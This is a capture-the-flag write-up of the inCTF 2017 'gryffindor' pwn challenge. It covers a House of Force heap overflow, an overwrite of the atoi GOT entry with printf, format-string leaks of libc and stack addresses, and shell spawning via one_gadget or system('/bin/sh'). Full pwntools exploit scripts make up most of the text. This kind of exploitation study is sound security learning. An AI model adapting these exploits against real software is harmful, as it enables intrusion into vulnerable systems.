[Pwn] inCTF 2017 - Gryffindor

gryffindor
libc.so.6

I’ve been looking at attacks on the heap lately, since I didn’t do any kind of write-up about this I ended up looking for an old ctf challenge from inCTF 2017, I did solved this challenge some days after the ctf (not during it) but back in the day I didn’t have the time to do a write about this.

The binary in this challenge was an ELF 64-bit, first thing we are likely to look up is for it’s security:

1
2
3
4
5
6
7
$ checksec gryffindor
[*] '/ctf/work/ctf/inctf2017/pwn/gryffindor/gryffindor'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

Now after this we want to run the binary itself so we can see what it does, the application present us with a menu which gives us 4 options:

  1. We can create a new item where we can specify the input allocation size and the index.
  2. We can delete an item by stipulating it’s index.
  3. We can edit an item by indicating it’s index then we can modify it’s content by giving it a size and the string itself.
  4. Finally we have an option to exit the binary

By checking the add for option 1 we can already see some interesting things :

Now checking the delete option 2, doesn’t look we have any kind of vulnerabilities:

Finally on option 3 edit we can find a heap overflow vulnerability:

House of Force the Jedi Overflow

This attack focuses on making malloc return an arbitrary pointer, we can achieve this by exploiting the top_chunk… The top most chunk also known as the ‘wilderness’. This assumes an overflow into the top chunk’s header (we have an overflow as we saw in option 3), if we can overflow and modify the top_chunk size into a very large value, all the initial requests will be services using the top chunk, instead of relying on mmap. If we set it into -1 this will be evaluated into 0xFFFFFFFFFFFFFFFF in a 64 bit binary.

Assuming we as the attackers want to make make malloc to return an address p, after we set the size into -1 any malloc call with the size of P- &top_chunk will return P as a pointer to that address.

If we force malloc to return a pointer of our choice we will gain an arbitrary write to that address.

The Ingredients to perform this attack can be looked as follows:

  • The exploiter must be able to overwrite the top chunk (i.e. the overflow must happen in a chunk that allows to overwrite the wilderness).
  • There is a malloc() call with an exploiter-controllable size.
  • There is another malloc() call where data are controlled by the exploiter.
  • A leaked heap address so we can calculate the size required to force malloc return the address we want.

As we can look above we have almost everything, the only thing’s missing is the last point we don’t have any heap address leaked and after our analysis there isn’t any kind of vulnerability to leak any kind of addresses… Well we missed this function:

As we can see above the author of the challenge was nice enough to give us the a leak for free.

Replace atoi with printf for format string vulnerability

Now that we have all the ingredients we can put house of force into practice, first lets write some functions add and edit options, and extract the heap address:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import sys

def add_g(size, index):
r.recv()
r.sendline('1')
r.recv()
r.sendline(size)
r.recv()
r.sendline(index)

def edit_g(size, index, inp, choice='3'):
r.recv()
r.sendline(choice)
r.recv()
r.sendline(index)
r.recv()
r.sendline(size)
r.sendline(inp)

context.terminal = ['tmux', 'new-window']
binary = ELF('./gryffindor')
libc = ELF('libc.so.6')
r = process('./gryffindor', env={'LD_LIBRARY_PATH': os.path.join(os.getcwd(),"./libc.so.6")+" "+sys.path[0]})
#gdb.attach(r, """
# b *0x400bd9
# """)
r.recv()
r.sendline('1337')
heap = int(r.recv(9),16)+0x1b0
log.info('[X] LEAKED HEAP 0x%x' % (heap))
add_g('130', '0')

The 0x1b0 offset which is offset to top_chunk can be calculated as follows:

Overflowing wilderness size

1
2
3
4
###############################################################################
# HOUSE OF FORCE
add_g('130', '0')
edit_g(str(18*8), '0','A'*17*8 + p64(-1,signed=True))

Looking at the heap after we overflow it:

Now we can force malloc to return the pointer P we need by just passing the calculation P - &top_chunk as the size, after this the next malloc will return the pointer we want:

1
2
3
4
5
6
7
8
9
10
###############################################################################
# HOUSE OF FORCE - Replace atoi with printf to gain format string vulnerability
add_g('130', '0')
edit_g(str(18*8), '0','A'*17*8 + p64(-1,signed=True))
add_g(str(binary.got['atoll']-top_chunk), '1')
add_g('130', '2') # this malloc will return got address of atoll
edit_g('130', '2', p64(binary.plt['atoll']+6) +
p64(binary.plt['malloc']+6) +
p64(binary.plt['setvbuf']+6) +
p64(binary.plt['printf']+6))

The look on gdb after executing malloc:

atoll and atoi are different functions they almost do the same thing yet they are being used in different places in the binary, the one we want is actually atoi, you must be asking why didn’t I used house of force on the atoi address, well when I was using the atoi address with house of force for some reason I was getting an segmentation fault, can’t really explain why because I didn’t understand it, well if you know why this happens feel free to write in the comments I would really appreciate that. To circumvent this I used the atoll GOT, we can still overwrite atoi but we will need to override other got addresses because malloc, setvbuf are between them as you can see bellow:

So to not break the binary we should not override them with junk so thats why i’m setting it to their plts in this line of code:

1
2
3
4
edit_g('130', '2', p64(binary.plt['atoll']+6) +
p64(binary.plt['malloc']+6) +
p64(binary.plt['setvbuf']+6) +
p64(binary.plt['printf']+6))

Now that we override the atoi GOT with the printf PLT we can use format_string to leak addresses from the stack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
####################################################
# LEAK LIBC
r.recv()
time.sleep(0.1)
r.sendline('%p %p %p')
s = r.recv()
list_addr = s.split(' ')
STACK_ADDRESS = int(list_addr[0],16)+168-32-32
leaked = int(list_addr[2][:-8].rstrip(),16)
LIBC_BASE = leaked-0xf7260
SYSTEM = LIBC_BASE + libc.symbols['system']
ONE_GADGET = LIBC_BASE + 0x4526a

ONE_GADGET_LOW = ONE_GADGET & 0xffffffff
ONE_GADGET_HIGH = (ONE_GADGET & 0xffffffff00000000) >> 32
log.info('[X] LEAKED 0x%x' % (leaked))
log.info('[X] LEAKED LIBC_BASE 0x%x' % LIBC_BASE)
log.info('[X] LEAKED STACK_ADDRESS 0x%x' % STACK_ADDRESS)
log.info('[X] LEAKED SYSTEM 0x%x' % SYSTEM)
log.info('[X] LEAKED LOW_ONE_GADGET 0x%x' % ONE_GADGET_LOW)
log.info('[X] LEAKED HIGH_ONE_GADGET 0x%x' % ONE_GADGET_HIGH)

####################################################

After printf is executed, if we leak the first 3 addresses from the stack we can see the 1st one is an address from the stack and the 3rd is an address from libc, we can calculate the offset to the by using gdb

Spawning a shell

I ended up doing this in two ways:

  1. Overwriting exit GOT address with one_gadget by using format string.
  2. Overwriting atoi GOT address (now printf) with system from libc, and send /bin/sh as string.

I will explain the first one since it’s a little more difficult and the 2nd is just a repetition of what we did before with the only difference of atoi is now printf, which can complicate a little bit the things:

Format String

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ONE_GADGET = LIBC_BASE + 0x4526a

ONE_GADGET_LOW = ONE_GADGET & 0xffffffff
ONE_GADGET_HIGH = (ONE_GADGET & 0xffffffff00000000) >> 32
r.send('%{}x%9$hn'.format(ONE_GADGET_HIGH)+
'A'*12+p64(binary.got['exit']+4))

r.recv()
ONE_GADGET_LOW0 = ONE_GADGET_LOW >> 16
ONE_GADGET_LOW1 = ONE_GADGET_LOW & 0xffff

r.send('%{}x%9$hn'.format(ONE_GADGET_LOW0)+
'A'*12+p64(binary.got['exit']+2))
r.recvuntil('>>')

r.send('%{}x%9$hn'.format(ONE_GADGET_LOW1)+
'A'*12+p64(binary.got['exit']))
r.recvuntil('>>')

r.send('%7$llnCC'+
p64(STACK_ADDRESS)) # sets the one_gadget constraint to null
r.recvuntil('>>')
time.sleep(0.3)
r.sendline('111') # sends option 4 to exit the program
# atoi is now printf, the return value
# of printf is the number of characters
# printed so if we want option 4 we need
# to send 4 chars, in this case 3 "1s" and
# "\n" new line character
r.interactive()

I separated the one_gadget from libc address in 3 parts so it’s easier to perform the format string, I won’t explain how I did it in detail, if you want to learn how to do a format string in detail you can check my other write up here, to get the offset for the one_gadget you can use this tool:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ one_gadget libc.so.6 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

I used the offset 0x4526a it has a constraint in rsp+0x30, we can use once again format string to set this constraints to null, since we leaked a stack address before we can calculate the offset from the leaked adress with the same trick we used to calculate the offset to libc_base by using gdb.

The full exploit using format string

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
import sys

def add_g(size, index):
r.recv()
r.sendline('1')
r.recv()
r.sendline(size)
r.recv()
r.sendline(index)

def edit_g(size, index, inp, choice='3'):
r.recv()
r.sendline(choice)
r.recv()
r.sendline(index)
r.recv()
r.sendline(size)
r.sendline(inp)

context.terminal = ['tmux', 'new-window']
binary = ELF('./gryffindor')
libc = ELF('libc.so.6')
r = process('./gryffindor', env={'LD_LIBRARY_PATH': os.path.join(os.getcwd(),"./libc.so.6")+" "+sys.path[0]})
#gdb.attach(r, """
# b *0x400bd9
# """)
r.recv()
r.sendline('1337')
top_chunk = int(r.recv(9),16)+0x1b0
log.info('[X] LEAKED HEAP 0x%x' % (top_chunk))

###############################################################################
# HOUSE OF FORCE - Replace atoi with printf to gain format string vulnerability
add_g('130', '0')
edit_g(str(18*8), '0','A'*17*8 + p64(-1,signed=True))
add_g(str(binary.got['atoll']-top_chunk), '1')
add_g('130', '2')
edit_g('130', '2', p64(binary.plt['atoll']+6) +
p64(binary.plt['malloc']+6) +
p64(binary.plt['setvbuf']+6) +
p64(binary.plt['printf']+6))

####################################################
# LEAK LIBC
r.recv()
time.sleep(0.1)
r.sendline('%p %p %p')
s = r.recv()
list_addr = s.split(' ')
STACK_ADDRESS = int(list_addr[0],16)+168-32-32
leaked = int(list_addr[2][:-8].rstrip(),16)
LIBC_BASE = leaked-0xf7260
SYSTEM = LIBC_BASE + libc.symbols['system']
ONE_GADGET = LIBC_BASE + 0x4526a

ONE_GADGET_LOW = ONE_GADGET & 0xffffffff
ONE_GADGET_HIGH = (ONE_GADGET & 0xffffffff00000000) >> 32
log.info('[X] LEAKED 0x%x' % (leaked))
log.info('[X] LEAKED LIBC_BASE 0x%x' % LIBC_BASE)
log.info('[X] LEAKED STACK_ADDRESS 0x%x' % STACK_ADDRESS)
log.info('[X] LEAKED SYSTEM 0x%x' % SYSTEM)
log.info('[X] LEAKED LOW_ONE_GADGET 0x%x' % ONE_GADGET_LOW)
log.info('[X] LEAKED HIGH_ONE_GADGET 0x%x' % ONE_GADGET_HIGH)

####################################################
# Replace exit got with one_gadget using format string
r.send('%{}x%9$hn'.format(ONE_GADGET_HIGH)+
'A'*12+p64(binary.got['exit']+4))

r.recv()
ONE_GADGET_LOW0 = ONE_GADGET_LOW >> 16
ONE_GADGET_LOW1 = ONE_GADGET_LOW & 0xffff

r.send('%{}x%9$hn'.format(ONE_GADGET_LOW0)+
'A'*12+p64(binary.got['exit']+2))
r.recvuntil('>>')

r.send('%{}x%9$hn'.format(ONE_GADGET_LOW1)+
'A'*12+p64(binary.got['exit']))
r.recvuntil('>>')

r.send('%7$llnCC'+
p64(STACK_ADDRESS)) # sets the one_gadget constraint to null
r.recvuntil('>>')
time.sleep(0.3)
r.sendline('111') # sends option 4 to exit the program
#####################################################
r.interactive()

The exploit using house of force a 2nd time to spawn a shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
import sys

def add_g(size, index):
r.recv()
r.sendline('1')
r.recv()
r.sendline(size)
r.recv()
r.sendline(index)

def edit_g(size, index, inp, choice='3'):
if choice == '3':
r.recv()
r.sendline(choice)
else:
r.send(choice)
r.recv()
r.sendline(index)
r.recv()
if choice == '3':
r.sendline(size)
r.sendline(inp)
else:
r.send(size)
r.sendline(inp)

#print sys.path[0]
#exit(0)
context.terminal = ['tmux', 'new-window']
binary = ELF('./gryffindor')
libc = ELF('libc.so.6')
r = process('./gryffindor', env={'LD_LIBRARY_PATH': os.path.join(os.getcwd(),"./libc.so.6")+" "+sys.path[0]})
#gdb.attach(r, """
# b *0x400af0
# """)
# b *0x400bd9
# b *0x400BCD
# """)
# b *0x400BB5
# b *0x400989
# b *0x400bd9
# b *0x400BD9
# """)
r.recv()
r.sendline('1337')
heap = int(r.recv(9),16)+0x1b0
log.info('[X] LEAKED HEAP 0x%x' % (heap))
###############################################################################
# HOUSE OF FORCE - Replace atoi with printf to gain format string vulnerability
add_g('130', '0')
edit_g(str(18*8), '0','A'*17*8 + p64(-1,signed=True))
add_g(str(binary.got['atoll']-heap), '1')
add_g('130', '2')
edit_g('130', '2', p64(binary.plt['atoll']+6) +
p64(binary.plt['malloc']+6) +
p64(binary.plt['setvbuf']+6) +
p64(binary.plt['printf']+6))
#edit_g('130', '2', p64(binary.plt['read']+6))

####################################################
# LEAK LIBC
r.recv()
time.sleep(0.1)
r.sendline('%p %p %p')
s = r.recv()
list_addr = s.split(' ')
STACK_ADDRESS = int(list_addr[0],16)+168
leaked = int(list_addr[2][:-8].rstrip(),16)
LIBC_BASE = leaked-0xf7260
SYSTEM = LIBC_BASE + libc.symbols['system']
ONE_GADGET = LIBC_BASE + 0xf1117

ONE_GADGET_LOW = ONE_GADGET & 0xffffffff
ONE_GADGET_HIGH = (ONE_GADGET & 0xffffffff00000000) >> 32
log.info('[X] LEAKED 0x%x' % (leaked))
log.info('[X] LEAKED LIBC_BASE 0x%x' % LIBC_BASE)
log.info('[X] LEAKED STACK_ADDRESS 0x%x' % STACK_ADDRESS)
log.info('[X] LEAKED SYSTEM 0x%x' % SYSTEM)
log.info('[X] LEAKED LOW_ONE_GADGET 0x%x' % ONE_GADGET_LOW)
log.info('[X] LEAKED HIGH_ONE_GADGET 0x%x' % ONE_GADGET_HIGH)
#exit(0)
####################################################
# Replace exit got with one_gadget using format string
rop = p64(binary.plt['atoll']+6) + \
p64(binary.plt['malloc']+6) + \
p64(binary.plt['setvbuf']+6) + \
p64(SYSTEM)
edit_g('A'*31+'\x00', '22\x00', rop, choice='111\x00')
r.recvuntil('>>')
r.send('/bin/sh\x00')
#r.recvuntil('>>')
r.interactive()

References